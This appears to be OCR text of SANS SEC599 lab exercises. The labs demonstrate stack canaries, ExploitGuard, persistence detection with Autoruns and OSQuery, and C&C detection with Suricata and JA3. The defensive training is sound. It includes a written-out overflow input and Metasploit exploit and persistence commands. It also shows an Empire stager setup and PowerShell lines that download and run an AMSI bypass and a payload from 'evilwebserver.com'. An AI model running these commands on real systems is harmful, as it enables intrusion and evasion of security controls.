As a first step, let's authenticate to our Windows machine.

o Username: alan.marshall

o Password: Awesomesaucel23

2. Launch Visual Studio

We have provided a community edition of Visual Studio on our Windows machine,
which is a commonly used development suite.

We will use it now to compile an example program, thereby illustrating some compile-
time controls! You can launch it by double-clicking the shortcut on the Desktop.

3. Open the project in Visual Studio
As this is not a development course, we will not bother you with how to write code



(or, even worse, vulnerable code). We have already written a piece of "vulnerable
code" that we will analyze, compile & exploit. We want to open an already existing
project in Visual Studio:

"File" -> "Open" -> "Project / Solution..."
In the explorer window, please open the following solution:

C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects\VulnerableCode
\VulnerableCode.sIn

4. Open "VulnerableCode.cpp"

Let's open the source code file "VulnerableCode.cpp", which you can find in the
"Solution Explorer" view on the right-hand side. Please double-click it to open the
source code.



5. Reviewing the code

When carefully analyzing the code, you should observe the following:

(e]

(e]

A PASSWORD variable is defined with a value of "UxoaT7x";

The application expects a password to be provided by the user. The user input
is copied to a variable (szDatal);

The PASSWORD variable is copied to a variable for comparison (szData2);

The first 9 characters of both variables (szDatal and szData2) are compared
to ensure the user provided the correct password (maximum length was 9);

For educational purposes, we print out the szDatal and szData2 variables;



o If the comparison is successful, the application will inform the user the correct
password was entered and will print out the stored password.

Buffer overflows are a type of vulnerability we discussed throughout the courseware.

In our lab, we will not focus on fixing the code, we will assess how compile-time
controls in Visual Studio can help protect the vulnerability from being exploited. We
are of course using a number of insecure functions to achieve our goal of having a
vulnerable C application.

6. Analyzing the VulnerableCode properties
In Visual Studio, the "Security Check" (which is Microsoft's implementation of stack
canaries) is enabled by default. We will disable them first to demonstrate the possible
impact. The properties we are interested in are located in the following location:
Project -> VulnerableCode Properties

Configuration Properties -> C/C++ -> Code Generation -> Security Check



7. Adapting the properties - disabling security check
Let's disable the Security Check and click "OK".

8. Compiling the code



We can build our "VulnerableCode" by clicking "Build" -> "Build VulnerableCode",
which will compile the source code into a working Windows application.

9. Open cmd.exe and run the application

Now let's open a command prompt and try running the application
("VulnerableCode.exe"). You can minimize Visual Studio, but please don't close the
window, as we'll return to it later.

In the command prompt, please run the following commands:
C:\Users\alan.marshall>cd "Documents\Visual Studio 2017\Projects
\VulnerableCode\Release"
C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects

\VulnerableCode\Release>VulnerableCode.exe

The application will inform you that a password is expected (with @ maximum of 9
characters). Let's try provide a password guess of "123456789":

C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects
\VulnerableCode\Release>VulnerableCode.exe 123456789

Unfortunately, this is not the correct password!



10. Increasing the input size

11.

12.

If you remember what our sample code looked like, you might remember that there
was two buffers created, which were subsequently compared. If they were equal to
one another, the application would allow access and print the stored password.

We could thus attempt to make the first variable buffer overflow into the second
one, thereby changing the second buffer and making the comparison correct. Let's try
by increasing the size of the input string to 10 (maximum was 9):

C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects
\VulnerableCode\Release>VulnerableCode.exe 1234567890

As a result, you should see that the sData2 value suddenly appears to be empty... We
still don't get the actual password though, as the equation is not correct!

Overwriting the second variable

Let's further attempt to influence the application behavior by testing different inputs:

C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects
\VulnerableCode\Release>VulnerableCode.exe 1234567890SANS

Success! The output appears to indicate we are now successfully overwriting the
second variable!

Fixing the equation



13.

Remember that the equation is done on the first 9 characters of the password. Can
you "fix" the equation? A possible solution would be:

C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects
\VulnerableCode\Release>VulnerableCode.exe 1234567890123456789

Note that the value of szDatal is now "1234567890123456789" and the value of

szData2 is "123456789", as the nine first characters are compared, the equation is
valid! The "Correct password" at the end now reveals the stored password!

Adapting the properties - enabling security check

So, let's go back to our Visual Studio project and re-enable the stack canaries
("Security Check").

As a reminder, the properties we are interested in are located in the following
location:

Project -> VulnerableCode Properties
Configuration Properties -> C/C++ -> Code Generation -> Security Check

For the careful observer: the "Control Flow Guard" optional control can also be
configured in this location! Note that it's not enabled by default!



14. Compiling without stack canaries

Let's now run the same "Build" command again to recompile our application:

We can build our "VulnerableCode" by clicking "Build" -> "Build VulnerableCode".



15.

16.

Re-exploiting the application
Switch back to the command prompt and try exploiting the application again:

C:\Users\alan.marshall\Documents\Visual Studio 2017\Projects
\VulnerableCode\Release>VulnerableCode.exe 1234567890123456789

The application will now hang for a while, after it will terminate. This is the result of
the stack canaries, which are being overwritten due to the overflow and which thus
trigger an application termination.

Although a basic example, this is an interesting example of a built-in compiler-time
exploit mitigation control.

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how stack canaries work and how they can be used to protect an application
that was poorly written.

ATTENTION: Finishing this step will close your lab!



SEC599-3.2: Exercise - Exploit mitigation using ExploitGuard
Objective

The objective of the exercise is to analyze how exploits can be mitigated by using
ExploitGuard.

This rather large exercise will see a number of distinct techniques being used, including:

e As a first step, we will install a vulnerable software called "Icecast" to demonstrate an
exploitable piece of software, we will also exploit it using Metasploit

e We will then configure ExploitGuard and demonstrate how the attack is how blocked

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Kali

4. SEC599-E01 - Windows02

SEC599-3.2

1. Authenticate to Windows
We will start by authenticating to our Windows workstation:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Install Icecast

As a first step, we will install the Icecast vulnerable software. You can find it under
your Desktop under "Blue Team\Vulnerable Software". We will install version 2.0.0 of
the software.

Upon installation, you will be asked to provide administrative credentials. You can use
the following set of credentials:

o Username: alan.marshall.adm

o Password: Securlty

For the setup procedure you can just follow the default settings.



3. Launching IceCast

Now, we will launch Icecast! You can do this by browsing to the "C:\Program Files
(x86)\Icecast2 Win32\" folder where Icecast was installed and launching the
icecast2.exe executable.



4. Running the IceCast server

Once Icecast is started, press the "Start server" button, after which the status should
become "Running" (in a green square).



. Open Exploit Protection settings

Let's review our standard Windows ExploitGuard settings. In order to open the
"Exploit protection" settings, please click the Windows Start icon in the bottom-left
corner of the screen. Start typing "exploit", after which the top match should be
"Exploit protection”, please click this entry.






6. Review system settings

There's quite a number of modules in the Exploit Protection settings that are
configured by default system-wide:

o Control Flow Guard (CFG)

o Data Execution Prevention (DEP)

o Randomize memory allocations (Bottom-up ASLR)
o High-entropy ASLR

o Validate exception chains (SEHOP)

o Validate heap integrity

This sounds promising! Let's try exploiting our application!

7. Switch to Kali machine

Let's switch to our Kali attacking machine and attack the IceCast service! We can
authenticate to our Kali linux machine using the following credentials:

o Username: root

o Password: Awesomesaucel23

8. Configure Kali on internal LAN



We will now configure our Kali Linux machine to be on the internal SYNCTECHLABS
LAN. We can achieve this by running the following command:

root@kali:~# ./kali_internal.sh
Afterwards, please check the IP address by running "ifconfig":
root@kali:~# ifconfig

This should reveal the Kali machine currently has IP address 192.168.10.55!

9. Launch Metasploit console

Let's open up a metasploit console to start our attack. You can do this by clicking the
Metasploit icon in the menu bar (5th icon).



10. Search for Icecast exploit module

Metasploit allows us to search for any matching modules based on a software. We will
now search for "icecast" and analyze the results! The command you can use is the
following:

msf > search icecast



11. Select &amp; configure Icecast module

We can now select the right module using the following syntax:

msf > use exploit/windows/http/icecast_header

The options we need to configure are:

RHOST: 192.168.10.16

We can do this using the following command:

msf exploit (windows/http/icecast_header) > set RHOST 192.168.10.16

We will not configure a payload this time and allow Metasploit to use its default
payload module (this is a reverse_tcp meterpreter that connects back on port 4444!).

12. Exploit Icecast!

Once all settings are correctly configured, we can now launch the exploit:
msf exploit(windows/http/icecast_header) > exploit

This should return a session! Wow, it appears our standard Exploit Protection settings
are not sufficient to protectect IceCast!

We can confirm successful exploitation by running "sysinfo" in the meterpreter session
screen:

meterpreter > sysinfo



If you feel like, please feel free to play around with your meterpreter a little (after all,
it's fun :p). Don't lose too much time however, we need to move forward and start
looking at how we can now prevent the exploit from succeeding.

13. Close meterpreter session

Once you have finished playing around, please exit the meterpreter session:
meterpreter > exit

We have some defending to do!

14. Add IceCast to Program Settings

Switch back to the Windows workstation and close IceCast. We will now customize its
settings! Please re-open the exploit protection settings (see steps 5 and 6 for
instructions on how to do this) and now switch to the "Program settings" tab. In this
screen, click the "+" button next to "Add program to customize" -> "Choose exact file
path".

In the explorer window, please navigate to the icecast application folder ("C:\Program
Files (x86)\Icecast2 Win32") and add file icecast2.exe.



15.

Enable all exploit protection settings

In the next window, you will be presented with the opportunity to finetune the
different exploit protection settings that are available! As a first try, let's try enabling
all modules! Please configure all Switches to the following settings:

o "Override system settings"
o "On"

Once you click the "Apply" button, you will need to provide administrative credentials:
o Username: alan.marshall.adm

o Password: Securlty



16. Attempt IceCast execution

Please open a Windows explorer window and navigate to the "C:\Program Files
(x86)\Icecast2 Win32\" folder. Doubleclick Icecast2.exe.

You will notice that an application error is returned, as Icecast2.exe fails to launch
with all exploit mitigation techniques enforced!






17. Troubleshoot Exploit Protection settings

So what settings should we enable? Should this be a new application you would like to
deploy, the recommended approach would be the following in a test environment:

o Enable ALL exploit mitigation techniques

o Attempt to run the application

o If the application fails to launch, review Windows event log and error codes
o Identify responsible exploit mitigate module (might involve some Google)

o Disable module

o Attempt to run application again

o If the application fails to launch, review Windows event log and error codes
o ..

o (Repeat until the application successfully starts)

Microsoft stores detailed logs of the exploit mitigation controls in the following
Windows event log:

o Microsoft-Windows-Security-Mitigations/KernelMode
o Microsoft-Windows-Security-Mitigations/UserMode

For this lab however, we have already performed troubleshooting, please refer to the
next step for an overview of what mitigation techniques can be enabled.

18. Reconfigure Exploit Protection settings

For IceCast specifically, the following exploit mitigation modules cause an error:
o Arbitrary Code Guard (ACG)
o Code integrity guard
o Disable Win32k system calls
In the exploit mitgation configuration for icecast2.exe, please enable all other modules
(and override system settings), but make sure the above 3 modules are "Off".
Once you click the "Apply" button, you will need to provide administrative credentials:
o Username: alan.marshall.adm

o Password: Securlty



19. Restart Icecast

Once the modules described in the previous step are disabled, relaunch Icecast, it
should now successfully start! Please also start the server, by clicking the "Start
Server" button again.



20. Open Process Explorer

Before we attempt to exploit IceCast again, we'd like to have a further look at the
running processes on my Windows 10 machine to understand how to exploit
protection techniques are being enforced. In order to achieve this, we will open
Process Explorer. You can find the application in the following location:

Desktop\Blue Team\SysinternalsSuite\procexp64.exe

Please confirm you want to run the application and accept the EULA!



21. View DLLs loaded

We would like to make sure the "payloadrestrictions.dll" (which, as described in the
courseware, enforces many of the ExploitGuard controls) is loaded! We can get this

kind of visibilty by clicking the "View" -> "Lower Pane View" -> "DLLs" in Process
Explorer!

22. Select Icecast2 process



As a final step, please select the Icecast2.exe process and review the DLL list in the
lower pane. You should now see that the "payloadrestrictions.dll" DLL has been
loaded.

Let's see how effective our techniques are, as we attempt to re-exploit IceCast!

23. Attempt to exploit Icecast again

Please switch back to the Kali machine and attempt to exploit again:
msf exploit(icecast_header) > exploit
This should now time out, as IceCast is immediately terminated upon exploitation!

Upon returning to the Windows02 machine, you'll notice that the IceCast2 window has
already closed, as the application was forcibly terminated.



24.

25.

Bonus - Review Windows event logs

Should you have additional time, please take some time to review the Windows event
logs to see if you can detect the ExploitGuard logs! As a reminder, these should be
stored in the following location:

o Microsoft-Windows-Security-Mitigations/KernelMode

o Microsoft-Windows-Security-Mitigations/UserMode

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how exploit mitigation techniques as enforced by ExploitGuard can help
prevent exploitation in Windows 10!

ATTENTION: Finishing this step will close your lab!



SEC599-3.3: Exercise - Catching persistence using Autoruns &
OSQuery

Objective

The objective of the lab is to detect a number of persistence strategies implemented on one
of our Windows machines! Throughout the exercise, you will complete the following high-
level steps:

e Run autoruns on our Windows workstation
e Analyze the output & identify the malicious persistence mechanism
e Run OSQuery queries to detect persistence on the Windows workstation

Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows02

A

Exercise 1 : SEC599-3.3

The objective of the lab is to detect a number of persistence strategies implemented on one
of our Windows machines! Throughout the exercise, you will complete the following high-
level steps:

e Persist a malware sample on our Windows workstation using Empire
e Run AutoRuns to detect the malicious payload

e Use OSQuery to detect the malicious payload

e (Create a GPO to install Palantir's PowerShell script

e Optional: Dashboard the script’s output in the Elastic stack

1. Log on to Windows machine
You can authenticate to the Windows workstation using the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Install IceCast
As a first step, we will install the Icecast vulnerable software. You can find it under



your Desktop under "Blue Team\Vulnerable Software". We will install version 2.0.0 of
the software.

Upon installation, you will be asked to provide administrative credentials. You can use
the following set of credentials:

o Username: alan.marshall.adm

o Password: Securlty

For the setup procedure you can just follow the default settings.

3. Launching IceCast



Now, we will launch Icecast! You can do this by browsing to the "C:\Program Files
(x86)\Icecast2 Win32\" folder where Icecast was installed and launching the
icecast2.exe executable.

4. Running the IceCast server

Once Icecast is started, press the "Start server" button, after which the status should
become "Running" (in a green square).



5. Switch to Kali machine

Let's switch to our Kali attacking machine and attack the IceCast service! We can
authenticate to our Kali linux machine using the following credentials:

o Username: root

o Password: Awesomesaucel23

6. Configure Kali on internal LAN

We will now configure our Kali Linux machine to be on the internal SYNCTECHLABS
LAN. We can achieve this by running the following command:

root@kali:~# ./kali_internal.sh
Afterwards, please check the IP address by running "ifconfig":
root@kali:~# ifconfig

This should reveal the Kali machine currently has IP address 192.168.10.55!



7. Launch Metasploit console

Let's open up a metasploit console to start our attack. You can do this by clicking the
Metasploit icon in the menu bar (5th icon).



8. Search for Icecast exploit

Metasploit allows us to search for any matching modules based on a software. We will
now search for "icecast" and analyze the results! The command you can use is the
following:

msf > search icecast

9. Select &amp; configure Icecast module

We can now select the right module using the following syntax:

msf > use exploit/windows/http/icecast_header

The options we need to configure are:

RHOST: 192.168.10.16

We can do this using the following command:

msf exploit (windows/http/icecast_header) > set RHOST 192.168.10.16

We will not configure a payload this time and allow Metasploit to use its default
payload module (this is a reverse_tcp meterpreter that connects back on port 4444!).



10. Exploit Icecast!

11.

Once all settings are correctly configured, we can now launch the exploit:
msf exploit(windows/http/icecast_header) > exploit

This should return a session! Wow, it appears our standard Exploit Protection settings
are not sufficient to protectect IceCast!

We can confirm successful exploitation by running "sysinfo" in the meterpreter session
screen:

meterpreter > sysinfo

If you feel like, please feel free to play around with your meterpreter a little (after all,
it's fun :p). Don't lose too much time however, we need to move forward and look for
persistence strategies! You can find inspiration for interesting commands by running
llhelpll.

Persist Meterpreter

Let's use one of the most basic persistence mechanisms in Metasploit, the registry
RUN keys (an old-time classic). In the Meterpreter prompt, please run the following
commands:

meterpreter > run persistence -L "C:\\Users\\Alan~1.MAR\\Downloads" -U

This command will write a payload in the Downloads folder of Alan Marshall and use a
user-level registry run key for execution.



12.

13.

Switch to Windows workstation
Let's switch back to the Windows workstation with our default user:

o Username: alan.marshall

o Password: Awesomesaucel23

Run Sysinternals' Autoruns

Autoruns is a Microsoft Sysinternals GUI tool that displays all features of Windows that
allow automatic execution of code.

Please open the "Blue Team\SysinternalsSuite" folder on the desktop, and launch
Autoruns64.exe.

Accept the dialogs.
Then you will see a list of all programs and commands that can be launched

automatically on Windows. Please refer to the courseware for some additional
information on the different Autoruns views.



14. Spotting the Meterpreter payload

15.

As this is a rather "basic" persistence mechanism, the Meterpreter .vbs file that is
added to the Registry RUN key is not that hard to spot. The pink line is

rather obvious, as it indicates an autoruns entry without (or with an invalid) digital
signature.

In our example, the payload is called "gcvUgfld", but this name is random so will be
different for you.

Using the "Jump to Entry..." feature

Please right-click the meterpreter entry in the overview and select "Jump to Entry....".
Note that upon selection / right-clicking, the entry will become highlighted in blue
(and thus the pink will disappear).



16. Review registry entry and path

A new window should have been opened, which includes the identifed entry. Please
double-click it, which should reveal the full path to the .vbs file! In a real-life incident,
this would be a highly valuable nugger of information, as we can now start
investigating how and when that file was created!

Please close the registry and return to the Autoruns window.



17. Enable Signatures and Virus Total

Let's imagine our adversary has selected a more subtle payload (e.g. a custom name
or a payload that is digitally signed, which thus isn't that easy to spot). How could we
leverage Autoruns to detect it?

In the main Autoruns window, please click "Options", go to "Scan Options..." and
select the following options:

o Verify code signatures

o Check VirusTotal.com

You will be asked to accept VirusTotal's term of service, please do so (click "Yes").
Once selected, please click "Rescan". This might take 1 or 2 minutes, as all file hashes
will be submitted to VirusTotal.



18. Hide known Microsoft and VirusTotal clean

Once the rescan is completed, we will add a few additional filters. Please click
"Options" again and enable the following additional filters:

o Hide Microsoft Entries
o Hide VirusTotal Clean Entries

This should give you a highly manageable list of entries that can be easily further
investigated. The entries highlighted in yellow are not present (so clean-up
opportunities), while the previously identified meterpreter entry is not known on
VirusTotal... The careful observer might note that SunJava, Filebeat and NXLog are
identified by 1 to 2 AV scanners on Virus Total :)

Once you have finished this step, please close the Autoruns window.



19. Open Kolide Fleet in Google Chrome launcher

Let's open Chrome and open the "Kolide" bookmark (available in the bookmarks bar.
You can authenticate using the following credentials:

o Username: alan.marshall@synctechlabs.com

o Password: Awesomesaucel23! (note the exclamation mark, this is a
complexity requirement in Kolide)

Once authenticated, you will notice the following systems listed as enrolled in
OSQuery: WINDOWSO01 and WINDOWSO02. The WINDOWS01 machine is currently
listed as offline, which is normal, as the system is not currently online.

Please click the small database icon to the right-hand side of the
"WINDOWSO02.synctechlabs.com" entry. The label of this icon is "Query this host".

20. Create a new query
In the new window, we will create a new query with the following properties:

o Query Title: Persistence



o SQL: SELECT * FROM startup_items
Once complete, please click the "Run" button to query the WINDOWSO02 machine.

21. Identify meterpreter VBS script

Once the query has finished, please scroll down to observe the results. In order to get
a good view, please click the "square" icon next to the EXPORT button, this will open
the results in a larger window.

In the larger window, you will recognize the last entry in the list. This is the entry we
previously identified in AutoRuns as well.

It's important to highlight the difference between AutoRuns and OSQuery with regards
to persistence detection:

o AutoRuns includes a large variety of different filter possibilities that are no
match to the limited filtering options available in OSQuery.

o 0SQuery can easily collect the same type of data from all systems, something
that AutoRuns doesn't support out of the box. Furthermore, OSQuery is not
limited to only detecting persistence and can do a lot more (200+ tables are



22.

23.

available!). OSQuery might be useful to perform outlier detection on large sets
of data!

A "middle-way" might be using the Palantir tool to write AutoRun entries to the
Windows event log for central collection and analysis!

Bonus - Autorunsc and Palantir's script
As a bonus exercise, if you have more time, here are a few suggestions for things to
try:

o Autorunsc - Can you try to replicate the previous AutoRuns exercise using
autorunsc.exe (text output, no GUI)?

o Palantir's AutorunstoWinEventLog - Can you deploy Palantir's Powershell script
to write autoruns output to the Windows event log? We have downloaded the
script on the Desktop under "Blue Team\AutorunstoWinEventLog"

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how Autoruns and OSQuery can be used to detect common persistence
strategies in your environment.

ATTENTION: Finishing this step will close your lab!



SEC599-3.4: Exercise - Detecting C&C channels using Suricata, JA3 &
RITA

Objective

The following are the high-level attack steps:

e Infect workstation

e Set up a Command & Control channel
e Review Suricata alerts in PfSense

e Download PCAP

e Generate JA3 logs

e Bonus: Experiment with RITA

Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows02

AR

Exercise 1 : SEC599-3.4

1. Authenticate to Windows workstation

As a first step, let's authenticate to the Windows workstation using the following
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Start Elastic stack

As we've done before, let's make sure we start collecting logs by enabling our Elastic
stack. We've done this plenty of times before, but here's the high-level steps:

o Open Putty session and double click the "Ubuntu03" saved session
o Changing user to root using "sudo -s" (password Awesomesaucel23)
o Run the following command(s):

root@ubuntu03:~# service logstash start



Please leave the Putty window open (e.g. minimize it).

3. Logon to pfSense

We want to set up a C&C channel and attempt to identify the C&C traffic. For this, we
will leverage the PfSense firewall, which is positioned at the perimeter of our network.
We will use this system for two reasons:

o We will use the Suricata IDS engine to assess whether the C&C channels are
detected (alert-based)

o We will create a PCAP that can be parsed by Zeek, JA3 & RITA for further
analysis

You can open the management interface by opening Chrome and clicking the PfSense
firewall bookmark (under "Administration"). The credentials are:

Username: admin
Password: Awesomesaucel23



4. Start Packet Capture

As part of our analysis, we will review both how Suricata, Zeek, JA3 and RITA handle
possible C&C traffic! In order to achieve this, we will perform the following actions:

o

Start a packet capture on the firewall that we can analyze afterwards

o

Set up an Empire & Meterpreter C&C channel

o

Review alerts generated by Suricata

Analyze the PCAP

o

Suricata has already been configured (since day 1) and is even sending logs to our
Elastic stack. We can thus just use the "Suricata" dashboard that has been configured
in our Kibana interface.

Inside the PfSense interface, please click "Diagnostics" and "Packet Capture". All
settings can be left default, except for two settings:

o The "Interface", which we will change to WAN;

o The "Count", which we will change to "0" (to continuously capture);

Once this is done, please click the "Start" button at the bottom of the page. Please
leave this window open afterwards.



5. Log on to Kali Linux machine

Let's now attack the Windows end-user from the Kali machine. Log in to Kali Linux
with the following credentials:

o Username: root

o Password: Awesomesaucel23

6. Open a terminal window and launch Empire

Please open a terminal window (third icon in the menu bar) and launch Empire:

root@kali:~# cd Tools/Empire/
root@kali:~/Tools/Empire# ./empire

You will see some ASCII art, after which an Empire prompt should appear!

(Empire) >



7. Create an Empire listener
In order to get started, we first need to create an Empire listener. An Empire listener
is the central C&C to which all the payloads (called "agents") connect to. We can go to
the listener configuration by running the "listeners" command:
(Empire) > listeners

Empire will indicate that no listeners are active, let's have a look at the available
listeners by typing the following:

(Empire: listeners) > uselistener<SPACE><TAB><TAB> (press space and tab
twice after typing "uselistener")

You will notice some interesting listener options (e.g. onedrive). We will use a
standard HTTP listener.

(Empire: listeners) > uselistener http



8. Configuring the listener

In the new prompt, please run the "info" command to obtain a full view on all options
that can be configured:

(Empire: listeners/http) > info

Take your time to walk through the different options available in the menu presented.
There's some interesting options available:

(e]

(e]

(e]

(e]

(e]

CertPath: What certificate to use for SSL/TLS (HTTPS) connections

DefaultProfile: Defines what URL and User Agent are used in HTTP requests
for C&C traffic

ServerVersion: Defines what server header is returned in HTTP responses for
C&C traffic

WorkingHours: Defines when the agent should "phone home" and blend in the
noise

Host: Defines the hostname used in C&C traffic
Defaultditter: Adds "randomness" in the delay for call-back

DefaultDelay: Defines the delay for call-back

Let's keep it simple and "camouflage" our Empire C&C channel by configuring the web
server with HTTPS:

(Empire: listeners/http) > set Port 8081
(Empire: listeners/http) > set Host www.evilwebserver.com



9. Execute listener and return to main menu

Once the configuration is finished, pelase continue by running the "execute" command
to start the listener:

(Empire: listeners/http) > execute

Empire should indicate that the listener has successfully started. Next up, let's return
to the main menu by running:

(Empire: listeners/http) > main

In the main menu, you should now see that a listener is active.



10. Create stager

We will now create a "stager", which is used to execute a payload on our victim
system! We can do this by using the "usestager" command (do not type these TABs,
press the TAB button twice):

(Empire) > usestager<SPACE><TAB><TAB>
This should give you an overview of the available stagers for Windows. You should
recognize some interesting payload types that we've addressed during the week (e.g.

dll, ducky, hta, bat, sct, macro,...). We will select a generic launcher:

(Empire) > usestager multi/launcher



11. Review stager configuration settings

Let's review the stager configuration settings:
(Empire: stager/multi/launcher) > info

You will notice that the stager can be configured in a number of ways:

o

The listener it needs to connect to

Whether it should be Base64 encoded

o

o

Whether it should be obfuscated

o

Proxy configuration settings

o ...

We will keep thing simple and just configure the listener that is to be used. We will
also configure the BAT launcher to be written in our web server root:

(Empire: stager/multi/launcher) > set Base64 False

(Empire: stager/multi/launcher) > set Listener http

(Empire: stager/multi/launcher) > set OutFile /var/www/html/samples
/empire.psl

(Empire: stager/multi/launcher) > execute



12.

13.

Switch to Windows workstation

Let's switch back to the Windows machine! Your session should still be open, but if
not, please use the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

Bypass AMSI &amp; execute empire.psl

We will now launch the empire.ps1 which is being hosted. Remember that our
Windows workstations have AMSI enabled, which we'll first have to bypass. We've
done this a few times before, but you can do so by opening a PowerShell window
(icon is in the taskbar) and running the following commands:

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples
/amsibypass.ps1"))

PS C:\Users\alan.marshall> [Bypass.AMSI]::Disable()

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples/empire.ps1"))

In a real "red team" engagement (where we are to be stealth), we would of course
have to combine these 3 commands in a single file that can be clicked by a victim.
Consider this a nice bonus objective if you have time left!

The prompt will hang, but this is perfectly fine!



14.

15.

Run a sample module in Kali Linux

Switch back to the Kali Linux machine. You should see that an agent has become
active and we can thus interact with it. The agent will have a random name, so you
will have to use the name you receive while running the lab :)

Please first press <ENTER> to return to your prompt. You will notice that a random
name was created for your agent (e.g. P3S6CM19). Please use this name in the below
commands:

(Empire: stager/multi/launcher) > interact <AGENTNAME>

Some adversaries have a (bad) sense of humor. We can mimic this by running one of
the "fun" modules of Empire:

(Empire: <AGENTNAME> > usemodule trollsploit/rick_ascii
(Empire: powershell/trollsploit/rick_ascii) > run

Empire will give you a warning indicating the module is not Opsecsafe. You will
understand what that means in just a second, as it's not the most stealthy module out
there. Please confirm we want to execute it by enterting a "y" and "ENTER".

Switch back to Windows machine

In the Windows machine, you should now see an interesting PowerShell window
running :)

Feel free to close it, as we will now analyze the C&C beacons used by Empire. Please
return to the PfSense tab you have open (where the packet capture was launched).
In the traffic capture window, please click "Stop" and "Download Capture".



The file will be downloaded to your Downloads folder. Please go to the Downloads
folder and rename it to "empire.pcap".

16. Relaunch the packet capture and kill Empire

Once the packet capture file is renamed to empire.pcap, please launch the "Packet
Capture" in the PfSense web interface again. You can do this using the "Start" button.

Once the capture is running again, please switch to the Kali Linux machine once
again. Should you be prompted for credentials, you can use the following:

o Username: root

o Password: Awesomesaucel23

On the Empire prompt, please type "exit" the close down Empire:
(Empire: powershell/trollsploit/rick_ascii) > exit

Please confirm that you want to exit by clicking "y".

17. Launch Meterpreter handler

In order to make things a bit more efficient, we have already prepared a Metasploit
resource file for you. Metasploit resource files are typically used for automation. In
this case, it's a rather simple file that just sets up a multi handler using



windows/meterpreter/reverse_https!
You can review the contents of the file by running the following commands:

root@ubuntu03:~/Tools/Empire# cd ../msfquick
root@ubuntu03:~ /Tools/ msfquick# cat msfhandler.rc

You can subsequently launch the handler by running:
root@ubuntu03:~ /Tools/ msfquick# msfconsole -r msfhandler.rc

This should launch Metasploit with the required options (see screenshot).

18. Download and run msfquick.exe

Switch back to the Windows workstation. As prior preparation, we created a
"msfquick.exe" file that will connect back to our handler. We configured this with the
exact same steps we used in the day 1 exercise (Shellter). You can download the file
from the "Samples - Evilwebserver" bookmark, which is available in your Chrome
bookmark bar.

Please just click the file, after which it will download, and subsequently click the entry
in the bottom of your Chrome window. You can confirm you want to execute it by
clicking "Run". While this will open a Putty window, this will also launch our backdoor!



19. Interact with Meterpreter

Now, please switch back to the Kali Linux machine. In the Metasploit window, first
press <ENTER> to receive a prompt, after which we will run the following commands:

msf exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
meterpreter > ps

Once you ran the above commands, please close the Meterpreter using the "exit"
command:

meterpreter > exit



20. Switch to Windows and download PCAP

Let's switch back to our Windows workstation and go back to the PfSense "Packet
Capture" window. You may still have this tab open in Chrome, otherwise, these are
the steps to get there:

o Open Chrome

o Open Bookmark "Administration" -> "PFSense Firewall"

o Authenticate using username "admin" and password "Awesomesaucel123"
o Click Diagnostics -> Packet Capture

Scroll to the bottom of the window and click "Stop" to stop the packet capture. The
window will refresh (and the active capture will stop). Please scroll down again and
click the "Download Capture" button. Open the Downloads folder and rename the
"packetcapture.cap" file to "meterpreter.pcap".

21. Review Suricata alerts on firewall

Back in the PfSense Chrome window, we will review any possible alerts generated for



both the Empire and Metasploit traffic! You can reach the "Alerts" overview by clicking
"Services" -> "Suricata" -> "Alerts".

Please ensure the "Instance to View" drop-down box is configured to "WAN".

When you scroll down in this view, you might notice that, using the standard
Emerging Threats rules, there is no IDS alert specific to Empire or Metasploit
Meterpreter in our PfSense view (you will however see an alert for the download of a
PE executable file on Windows)... Unfortunate...

Both Metasploit and Empire have "upped their game" over the last couple of years to
avoid simple signature-based detection. Let's try some other detection methods!

22. Open WinSCP to copy capture files

Next up, let's copy over the PCAP file to the system where we have Bro and JA3
installed (Ubuntu03 or 192.168.30.16, which is the same machine as our Elastic
stack). Please double-click the WinSCP.exe shortcut on the Desktop and provide the
following details:

Host name: 192.168.30.16
Username: alanmarshall
Password: Awesomesaucel23

In the left hand side, please select the Downloads window (the easiest way to do this



is by clicking the "Up" folder icon and double-clicking the "Downloads" folder.

23. Drag and drop pcap files

Now, let's drag and drop the empire.pcap and meterpreter.pcap files from the left-
hand window to the right-hand window. If successful, both PCAP files should now
appear in the window on the right as well. Once this is done, please leave the WinSCP
window running in the background.

24. Run JA3 against both PCAP files

As a first step, we will attempt to use JA3 (SSL client fingerprinting technique) to
identify possible encrypted C&Cs! Let's switch back to the Putty window you still have
running on the Windows workstation.

We will now use JA3 against the offline file to analyze its contents. We can do this by



25.

running the following commands:

root@ubuntu03:~# cd /opt/ja3/python

root@ubuntu03:/opt/ja3/python# ./ja3.py -a /home/alanmarshall/empire.pcap
root@ubuntu03:/opt/ja3/python# ./ja3.py -a /home/alanmarshall
/meterpreter.pcap

The JA3 run against "empire.pcap" may or may not return results (depending on
whether your system set up some background SSL / TLS connections), as Empire by
itself does not do SSL/TLS encryption. We'll focus on the Meterpreter traffic first!

The JA3 run against "meterpreter.pcap"” will return two results, both from
10.10.10.15:443 at the end of the entries are the JA3 fingerprints:
"72a589da586844d7f0818ce684948eea" and
"8916410db85077a5460817142dcbc8de".

Analyze JA3 fingerprints

So what do these JA3 fingerprints mean? Let's check whether they are known
fingerprints in the JA3 database:

root@ubuntu03:/opt/ja3/python# cat ../lists/osx-nix-ja3.csv |
